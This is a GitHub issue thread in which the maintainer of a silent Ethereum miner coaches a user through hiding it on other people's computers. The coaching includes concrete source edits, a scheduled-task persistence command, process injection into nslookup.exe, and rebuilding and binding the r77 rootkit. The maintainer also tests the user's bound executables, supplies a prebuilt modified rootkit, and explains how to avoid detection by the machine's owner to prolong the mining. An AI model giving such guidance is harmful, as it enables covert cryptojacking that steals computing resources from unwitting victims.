hiding process and startup icon and pools

[dsfdsdwcdsfsdf]

i saw that https://github.com/bytecode77/r77-rootkit was linked in an issue and i want to know how to put that in the miner so the process is hidden.
also do these settings look good if im trying to lower the amount of euth i have to mine before i get a payout from nanopool
https://anonfiles.com/748dz2N4uf/Screenshot_112_png
https://anonfiles.com/9485zdNeu9/Screenshot_113_png
do i have to put anything in the password if im mining from nanopool and i want to lower the amount i have to mine to get a payout like monero?

[UnamSanctam]

If you want to use the r77 rootkit then you'll have to bind it together with the miner using any file binder (like UnamBinder), you'll also have to edit things in the code so that the files start with $77 and things like that, it's not the easiest to set up.

If you want to lower the payout then you need to enter things into the "Wallet Address" field in this format Wallet.Worker/Password (example: Wallet.{COMPUTERNAME}/minpayout123 and leave the "Worker Name" field in the builder empty ) and then you would use minpayout123 in the nnaopool settings to lower the minimum payout.

[dsfdsdwcdsfsdf]

If you want to use the r77 rootkit then you'll have to bind it together with the miner using any file binder (like UnamBinder), you'll also have to edit things in the code so that the files start with $77 and things like that, it's not the easiest to set up.

If you want to lower the payout then you need to enter things into the "Wallet Address" field in this format Wallet.Worker/Password (example: Wallet.{COMPUTERNAME}/minpayout123 and leave the "Worker Name" field in the builder empty ) and then you would use minpayout123 in the nnaopool settings to lower the minimum payout.

if i were to edit the code how would i successfully do that? (if you feel like explaining)
and my wallet address box has mywallet.{COMPUTERNAME}/mypassword is that right?
and do i actually need to change settings in nanopool, or am i fine with the above in my wallet address bar?

[UnamSanctam]

Simplest things would be to rename the watchdog in the code to $77_sihost32.exe and then in the builder also choose the "Startup" "Filename" as $77_services32.exe (or whatever you want it as) to hide the loaders. Hiding the miner processes is a lot harder since you'd need to either compile your own version of the r77-rootkit or modify the $77 registry before it's started.

And yes that is correct, on nanopool you will need to enter mypassword to change the minimum payout.

[dsfdsdwcdsfsdf]

Simplest things would be to rename the watchdog in the code to $77_sihost32.exe and then in the builder also choose the "Startup" "Filename" as $77_services32.exe (or whatever you want it as) to hide the loaders. Hiding the miner processes is a lot harder since you'd need to either compile your own version of the r77-rootkit or modify the $77 registry before it's started.

And yes that is correct, on nanopool you will need to enter mypassword to change the minimum payout.

how can i edit he watchdog and builder?
and how can i compile it or modify the registry
and do i need to modify the builder before building the miner

[UnamSanctam]

To change the watchdog name download the code and change this line

SilentETHMiner/SilentETHMiner/Codedom.vb

Line 338 in 50cd177

stringb.Replace("#WATCHDOG", F.EncryptString("sihost32"))

and then compile the builder like normal.

If you want to hide the miner process with r77-rootkit you will have to download the code, change it so that it hides things beginning with the name like nslookup instead of $77 and then compile and use that. Then in the miner you would have to change so that the miner process (and the shellcode injector) inject into nslookup.exe. Then all the processes will be hidden.

[dsfdsdwcdsfsdf]

i changed the Sihost string https://anonfiles.com/Jdfb23N8u9/Screenshot_113_png
do i compile it after adding that code change? and if not then how can i change it t hide things with nslookup as names

[UnamSanctam]

Yes, unless you intend to make it hide everything instead.

Changing the rootkit can be difficult if you don't have much experience, you can find the documentation here: https://bytecode77.com/downloads/r77%20Rootkit%20Technical%20Documentation.pdf, you'd have to change the HIDE_PREFIX constant (section 4.2) to nslookup (or whatever process that you inject into that you want to hide). You can find the Visual Studio files inside the vs folder.

[dsfdsdwcdsfsdf]

Yes, unless you intend to make it hide everything instead.

Changing the rootkit can be difficult if you don't have much experience, you can find the documentation here: https://bytecode77.com/downloads/r77%20Rootkit%20Technical%20Documentation.pdf, you'd have to change the HIDE_PREFIX constant (section 4.2) to nslookup (or whatever process that you inject into that you want to hide). You can find the Visual Studio files inside the vs folder.

so once i save the change i made in the sihost string, i open the r77.sln file in the vs file from the github, and i replace all the hide_prefix to nslookup?
example- if theres a string or line that says something like string/Hide_prefix} i would replace hide_prefix to nslookup so it would turn to string/nslookup}

the main thing i wanna do is hide any startup and processes that can appear

[UnamSanctam]

HIDE_PREFIX is a constant that you have to change in both the r77api.h and GlobalAssemblyInfo.cs files. Change it to nslookup and then compile it.

Then in my builder don't change any sihost string, just change this:

SilentETHMiner/SilentETHMiner/Codedom.vb

Line 213 in 50cd177

F.CipherReplace(sb, "#TARGET", "System32\conhost.exe")

to nslookup.exe.

Then add nslookup_ before the entry names on this row and the one below it:

SilentETHMiner/SilentETHMiner/Codedom.vb

Line 339 in 50cd177

stringb.Replace("#TASKSCH", F.EncryptString("/c schtasks /create /f /sc onlogon /rl highest /tn """ + Path.GetFileNameWithoutExtension(F.txtInstallFileName.Text) + """ /tr ""{0}"""))

(change """ + Path. to ""nslookup_" + Path.)

And then finally when you build the miner select nslookup.exe in the "Inject Into" selection.

[dsfdsdwcdsfsdf]

HIDE_PREFIX is a constant that you have to change in both the r77api.h and GlobalAssemblyInfo.cs files. Change it to nslookup and then compile it.

Then in my builder don't change any sihost string, just change this:

SilentETHMiner/SilentETHMiner/Codedom.vb

Line 213 in 50cd177

F.CipherReplace(sb, "#TARGET", "System32\conhost.exe")

to nslookup.exe.

Then add nslookup_ before the entry names on this row and the one below it:

SilentETHMiner/SilentETHMiner/Codedom.vb

Line 339 in 50cd177

stringb.Replace("#TASKSCH", F.EncryptString("/c schtasks /create /f /sc onlogon /rl highest /tn """ + Path.GetFileNameWithoutExtension(F.txtInstallFileName.Text) + """ /tr ""{0}"""))

(change """ + Path. to ""nslookup_" + Path.)

And then finally when you build the miner select nslookup.exe in the "Inject Into" selection.

since i already saved in codedom in your code $77_sihost32 do i remove the $77 and put it back to its default? becuse you said that adding 77$ will in front of sihost will hide the process which is what i want(or does it matter what im injecting into)

and is the correct form to replace the conhost.exe too? https://anonfiles.com/zaDf2fN9u2/sys32conhost_change_png

in r77 files do i have to change every single hide_prefix to nslookup theres also a code part named HIDE_PREFIX_LENGTH do i change that to? theres quite a bunch of these hide_prefixes https://anonfiles.com/P3D12eNcu1/Screenshot_114_png

[UnamSanctam]

Yes revert the sihost32 part, since the actual running watchdog (sihost32) will be injected into nslookup.

The conhost.exe replacement is correct.

For the HIDE_PREFIX only change the L"$77" to L"nslookup" and that will be all there, and then change it inside the GlobalAssemblyInfo.cs file as well.

[dsfdsdwcdsfsdf]

Yes revert the sihost32 part, since the actual running watchdog (sihost32) will be injected into nslookup.

The conhost.exe replacement is correct.

For the HIDE_PREFIX only change the L"$77" to L"nslookup" and that will be all there, and then change it inside the GlobalAssemblyInfo.cs file as well.

so this is correct? https://anonfiles.com/L8H721Nfua/Screenshot_115_png
and i just do that same thing to that same line of code into globalasassembly?
then i go into your code and change the """ + Path. code
then after that i save both changes that i made to the rootkit code, then i compile the whole thing using the r77.sln file in the vs folder?

[UnamSanctam]

Yes exactly.

[dsfdsdwcdsfsdf]

Yes exactly.

this right? there is no L before the line https://anonfiles.com/D7K62fN3u8/Screenshot_116_png
also changed the path line to this https://anonfiles.com/34m73cN1u0/Screenshot_121_png
so if thats all do i compile both your miner and the rootkit? and just in case, do i change the compile settings to release or debug https://anonfiles.com/j0O320Nbu6/Screenshot_120_LI_jpg
and would i change textconsole to buildtask, installstager orexample

[UnamSanctam]

Sorry for the late response, but yeah those are correct, change it to "Release" and build it through the "Build" menu at the top.

[dsfdsdwcdsfsdf]

Sorry for the late response, but yeah those are correct, change it to "Release" and build it through the "Build" menu at the top.

which "build option do i press?
in the rootkit build do i set the "textconsole" place to buildtask or example, or do i just leave that area as textconsole and just build it regurally https://anonfiles.com/vfo8B0N0u4/Screenshot_121_png
same goes with your miner code https://anonfiles.com/leq2B1N7u3/Screenshot_122_png when i clicked Start on your code it said something about debugging

[UnamSanctam]

Press the "Build Solution", it should build all of them. Then in my miner change it from "Debug" to "Release" and it should build fine.

[dsfdsdwcdsfsdf]

Press the "Build Solution", it should build all of them. Then in my miner change it from "Debug" to "Release" and it should build fine.

i just built the miner, is it supposed to be in the Bin file under release?
also built the rootkit, do i need to do anything now? do i bind it with the miner when i build it? https://anonfiles.com/peu7B7N0u2/Screenshot_123_png also got a few errors when building it

[UnamSanctam]

Yes it will be in Bin\Release. You'd need to bind the rootkit and miner (that you build) with something like a file binder, it's technically theoretically possible to use the miner to inject the rootkit with process hollowing (or dropping it and executing it) though that's too much to change for it to be able to write it down really.

Your errors look like you don't have enough space left (or no permissions) or something similar.

[dsfdsdwcdsfsdf]

Yes it will be in Bin\Release. You'd need to bind the rootkit and miner (that you build) with something like a file binder, it's technically theoretically possible to use the miner to inject the rootkit with process hollowing (or dropping it and executing it) though that's too much to change for it to be able to write it down really.

Your errors look like you don't have enough space left (or no permissions) or something similar.

so would the errors affect the rootkit? i have enough space and permissions
and what would the rootkit be? would i have to bind the "install" file with the miner in the $build folder

[UnamSanctam]

Yes the "Install.exe" file is the rootkit, and then you'd bind that with the miner that you build. If the "Install.exe" file is there then you can probably ignore the errors since it still compiled the rootkit installer. Though the two last errors are a bit worrying.

[dsfdsdwcdsfsdf]

Yes the "Install.exe" file is the rootkit, and then you'd bind that with the miner that you build. If the "Install.exe" file is there then you can probably ignore the errors since it still compiled the rootkit installer. Though the two last errors are a bit worrying.

could you see if it works? https://tmpfiles.org/dl/135723/minernostealth.exe
also there are some folders in the location i saved it, i couldnt save it in its original plce because it said "file path could not be found" so i had to put it in my download folders and now theres 3 folders named "compilers" "inlcudes" "compiler" with various exes and text files in them

[UnamSanctam]

Yes that miner works correctly. The folders are normal since they are required to build it, the "Compilers" folder contains the C and resource compilers and the shellcode converter, the "Includes" folder contains the header and assembler files necessary to map the direct system calls. They are only there to compile everything and can be deleted or whatever after it's been built.

[dsfdsdwcdsfsdf]

Yes that miner works correctly. The folders are normal since they are required to build it, the "Compilers" folder contains the C and resource compilers and the shellcode converter, the "Includes" folder contains the header and assembler files necessary to map the direct system calls. They are only there to compile everything and can be deleted or whatever after it's been built.

so the process is hidden and it all works fine?

[UnamSanctam]

Your miner works correctly but not your rootkit.

[dsfdsdwcdsfsdf]

Your miner works correctly but not your rootkit.

so i have to rebuild the rootkit all over agian?

[UnamSanctam]

r77-rootkit-nslookup.zip
Here, I just downloaded and built this if you don't want to do it yourself.

[dsfdsdwcdsfsdf]

r77-rootkit-nslookup.zip Here, I just downloaded and built this if you don't want to do it yourself.

https://tmpfiles.org/dl/135731/nos33.exe
i binded the miner and the lookup one you made with your binder

[UnamSanctam]

Only the miner started, are you sure you bound it? I tried binding it myself and it worked for me.

[dsfdsdwcdsfsdf]

  https://tmpfiles.org/dl/135738/bound100.exe
yes i bound it i binded it agian to make sure

[UnamSanctam]

Yes that one works, I can't see the processes, startup entry nor the traffic from the miner.

[dsfdsdwcdsfsdf]

Yes that one works, I can't see the processes, startup entry nor the traffic from the miner.

so is stealth needed anymore?

[UnamSanctam]

It would be good to use it for games so that it pauses during them for less lag (mainly to reduce the VRAM usage since most games need a lot), it would extend the lifetime of the miner immensely since it reduces the chance of the user thinking that something is wrong with their computer. There is a community collection here with a few iterations: #122.

[dsfdsdwcdsfsdf]

It would be good to use it for games so that it pauses during them for less lag (mainly to reduce the VRAM usage since most games need a lot), it would extend the lifetime of the miner immensely since it reduces the chance of the user thinking that something is wrong with their computer. There is a community collection here with a few iterations: #122.

if i bind a actual program with the miner while it has the rootkit on, will the miner or rootkit stop working, or will the process show up?

[UnamSanctam]

No, everything would still work like it should.

[dsfdsdwcdsfsdf]

No, everything would still work like it should.

alright thanks for the long help